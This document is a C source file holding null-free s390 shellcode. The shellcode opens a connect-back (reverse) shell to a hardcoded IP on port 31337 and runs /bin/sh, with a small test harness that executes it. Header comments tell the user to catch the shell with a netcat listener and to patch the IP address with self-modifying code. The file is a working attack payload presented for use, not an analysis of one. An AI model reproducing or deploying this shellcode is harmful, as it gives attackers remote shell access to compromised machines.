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- /*----------------------------------------------------------------------*/
- /* s390 shellcode 0x0a / 0x0 free */
- /* connectback shell, use netcat listener from caller : nc -l -p 31337 */
- /* ATTENTION ! altough the code is 0x0a and 0x0 free it may be the case */
- /* that u wanna connect an ip like : 10.65.120.22 ( in our example ! ) */
- /* our 192.168.0.1 ! in these cases u have 0xa and 0x0 in your address */
- /* and u should conside to add some selfmodifing code where u patch the */
- /* ip address values on the fly, like i did with the svc calls */
- /* code jcyberpunk@thehackerschoice.com */
- /*----------------------------------------------------------------------*/
- char shellcode[] =
- "\x0d\x10" /* basr %r1,%r0 */
- "\x41\x90\x10\xa8" /* la %r9,168(%r1) */
- "\xa7\x68\x04\x56" /* lhi %r6,1110 */
- "\xa7\xa8\xfb\xb4" /* lhi %r10,-1100 */
- "\x1a\x6a" /* ar %r6,%r10 */
- "\x42\x60\x10\xa8" /* stc %r6,168(%r1) */
- "\xa7\x28\x04\x4e" /* lhi %r2,1102 */
- "\x1a\x2a" /* ar %r2,%r10 */
- "\x40\x20\xf0\x78" /* sth %r2,120(%r15) */
- "\xa7\x38\x7a\x69" /* lhi %r3,31337 */
- "\x40\x30\xf0\x7a" /* sth %r3,122(%r15) */
- "\x58\x40\x10\xac" /* l %r4,172(%r1) */
- "\x50\x40\xf0\x7c" /* st %r4,124(%r15) */
- "\x17\x44" /* xr %r4,%r4 */
- "\xa7\x38\x04\x4d" /* lhi %r3,1101 */
- "\x1a\x3a" /* ar %r3,%r10 */
- "\x90\x24\xf0\x80" /* stm %r2,%r4,128(%r15) */
- "\xa7\x28\x04\x4d" /* lhi %r2,1101 */
- "\x1a\x2a" /* ar %r2,%r10 */
- "\x41\x30\xf0\x80" /* la %r3,128(%r15) */
- "\x0d\xe9" /* basr %r14,%r9 */
- "\x18\x72" /* lr %r7,%r2 */
- "\x41\x30\xf0\x78" /* la %r3,120(%r15) */
- "\xa7\x88\x04\x5c" /* lhi %r8,1116 */
- "\x1a\x8a" /* ar %r8,%r10 */
- "\x18\x48" /* lr %r4,%r8 */
- "\x90\x24\xf0\x80" /* stm %r2,%r4,128(%r15) */
- "\xa7\x28\x04\x4f" /* lhi %r2,1103 */
- "\x1a\x2a" /* ar %r2,%r10 */
- "\x41\x30\xf0\x80" /* la %r3,128(%r15) */
- "\x0d\xe9" /* basr %r14,%r9 */
- "\x18\x27" /* lr %r2,%r7 */
- "\xa7\x68\x04\x8b" /* lhi %r6,1163 */
- "\x1a\x6a" /* ar %r6,%r10 */
- "\x42\x60\x10\xa9" /* stc %r6,169(%r1) */
- "\xa7\x38\x04\x4e" /* lhi %r3,1102 */
- "\x1a\x3a" /* ar %r3,%r10 */
- "\x0d\xe9" /* basr %r14,%r9 */
- "\xa7\x3a\xff\xff" /* ahi %r3,-1 */
- "\x0d\xe9" /* basr %r14,%r9 */
- "\xa7\x3a\xff\xff" /* ahi %r3,-1 */
- "\x0d\xe9" /* basr %r14,%r9 */
- "\xa7\x68\x04\x57" /* lhi %r6,1111 */
- "\x1a\x6a" /* ar %r6,%r10 */
- "\x42\x60\x10\xa9" /* stc %r6,169(%r1) */
- "\x41\x20\x10\xb0" /* la %r2,176(%r1) */
- "\x50\x20\x10\xb8" /* st %r2,184(%r1) */
- "\x41\x30\x10\xb8" /* la %r3,184(%r1) */
- "\x17\x44" /* xr %r4,%r4 */
- "\x42\x40\x10\xb7" /* stc %r4,183(%r1) */
- "\x50\x40\x10\xbc" /* st %r4,188(%r1) */
- "\x41\x40\x10\xbc" /* la %r4,188(%r1) */
- "\x0d\xe9" /* basr %r14,%r9 */
- "\x0b\x66" /* svc 102 <--- after modification */
- "\x07\xfe" /* br %r14 */
- "\x0a\x41\x78\x16" /* ip-address to connect back */
- "\x2f\x62\x69\x6e" /* /bin */
- "\x2f\x73\x68\x5c"; /* /sh\\ */
- main()
- {
- void (*z)()=(void*)shellcode;
- z();
- }
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